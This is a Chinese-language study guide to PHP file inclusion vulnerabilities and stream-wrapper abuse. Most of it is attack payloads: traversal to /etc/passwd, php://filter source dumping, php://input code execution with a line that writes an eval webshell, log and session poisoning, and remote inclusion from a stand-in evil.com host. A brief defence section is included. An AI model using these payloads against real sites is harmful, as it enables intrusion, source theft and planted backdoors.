PHP文件包含漏洞与伪协议利用指南
目录
漏洞原理
基本概念
-
定义:通过PHP函数引入文件时,传入的文件名未经过合理验证,导致包含非预期文件
-
核心:用户输入直接带入包含函数 → 文件泄漏/代码执行
漏洞条件
allow_url_fopen = On // 允许从远程获取数据
allow_url_include = On // 允许包含远程文件(php5.2后默认Off)
包含函数
| 函数 | 错误处理 | 特点 |
|---|---|---|
include() |
警告,脚本继续 | 最常用 |
require() |
致命错误,脚本停止 | |
include_once() |
同include,已包含则不重复 | |
require_once() |
同require,已包含则不重复 |
PHP伪协议
协议使用条件总结
| 协议 | allow_url_fopen | allow_url_include | 主要用途 |
|---|---|---|---|
file:// |
任意 | 任意 | 读取本地文件 |
php://filter |
任意 | 任意 | 读取源码 |
php://input |
任意 | 必须On | 执行POST代码 |
zip:// |
任意 | 任意 | 包含压缩包内文件 |
phar:// |
任意 | 任意 | 包含压缩包内文件 |
data:// |
必须On | 必须On | 执行URI中的代码 |
各协议详细用法
1. file:// - 读取本地文件
?file=file://D:/www/flag.txt
?file=file:///etc/passwd
- 特点:双OFF也可用,最简单直接
2. php://filter- 读取源码(最常用)
# 基本用法(Base64编码输出)
?file=php://filter/read=convert.base64-encode/resource=index.php
# 多层过滤
?file=php://filter/convert.base64-encode/resource=index.php
- 注意:必须Base64编码,否则源码会被执行
3. php://input- 执行POST代码(重点)
POST /cmd.php?file=php://input HTTP/1.1
<?php system('whoami'); ?>
# 写入木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
- 技巧 :遇到
file_get_contents()验证内容时使用
4. 压缩文件协议
# zip:// [绝对路径]#[内部文件]
?file=zip://D:\upload.jpg%23code.php
# phar:// [相对/绝对路径]/[内部文件]
?file=phar://./upload.zip/code.php
- 注意 :
#需要URL编码为%23
5. data:// - 执行数据流
# 明文方式
?file=data://text/plain,<?php phpinfo()?>
# Base64方式
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
# 简写方式
?file=data:text/plain,<?php phpinfo()?>
特殊文件包含技巧(难点)
1. 包含日志文件
-
路径 :
/var/log/apache2/access.log -
方法:将PHP代码写入User-Agent → 包含日志文件
GET / HTTP/1.1
User-Agent: <?php phpinfo(); ?>
2. 包含Session文件
-
路径 :
/tmp/sess_PHPSESSID -
查看路径 :
phpinfo()中的session.save_path -
方法:控制Session内容 → 包含Session文件
3. 包含上传文件
# 制作图片马
copy image.jpg/b + shell.php webshell.jpg
# 上传后包含
?file=./uploads/webshell.jpg
4. 包含临时文件
-
路径 :Linux
/tmp/,Windows `C:\Windows\Temp` -
方法:利用文件上传时的临时文件竞争包含
-
难点:需要暴力猜解文件名
绕过技巧(难点)
1. 路径遍历绕过
# 基础遍历
?file=../../etc/passwd
# URL编码绕过
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
?file=..%2f..%2fetc%2fpasswd
# 特殊编码(Apache)
?file=..%c0%afetc%c0%afpasswd
2. 后缀绕过
# 原始代码:include($file . ".txt");
# 使用?绕过
?file=http://evil.com/shell.php?
# 使用#绕过
?file=http://evil.com/shell.php%23
3. 截断绕过(历史方法)
# %00截断(PHP<5.3.4)
?file=shell.php%00
# 长度截断
?file=./././...(重复)./shell.php
防御措施(容易)
配置安全
; 最小权限原则
allow_url_include = Off
allow_url_fopen = Off
; 限制文件访问范围
open_basedir = /var/www/html
代码层面
// 白名单验证
$allow_files = ['home.php', 'about.php'];
if(in_array($file, $allow_files)) {
include($file);
}
// 严格过滤
$file = str_replace(['../', '..\\'], '', $file);
实战检查清单
基础检测
-
\] 直接包含测试:`?file=../../etc/passwd`
-
\] 检查phpinfo信息
-
\] php://input执行代码
-
\] 日志文件包含尝试
-
\] 上传文件包含
-
\] 各种编码方式测试
-
\] 路径遍历深度测试
核心记忆点
重点掌握
-
伪协议使用条件 - 攻击成功的基础
-
php://filter读取源码 - 最常用手段
-
日志/Session包含 - 高级利用思路
难点注意
-
路径编码绕过 - 需要熟悉各种编码方式
-
特殊文件包含 - 需要了解系统文件结构
-
条件竞争利用 - 技术门槛较高
容易点
-
基础包含原理 - 概念清晰易懂
-
防御措施 - 原则简单明确
-
基础绕过 - 方法直接有效
总结:掌握伪协议条件 > 特殊文件包含 > 绕过技巧 > 基础用法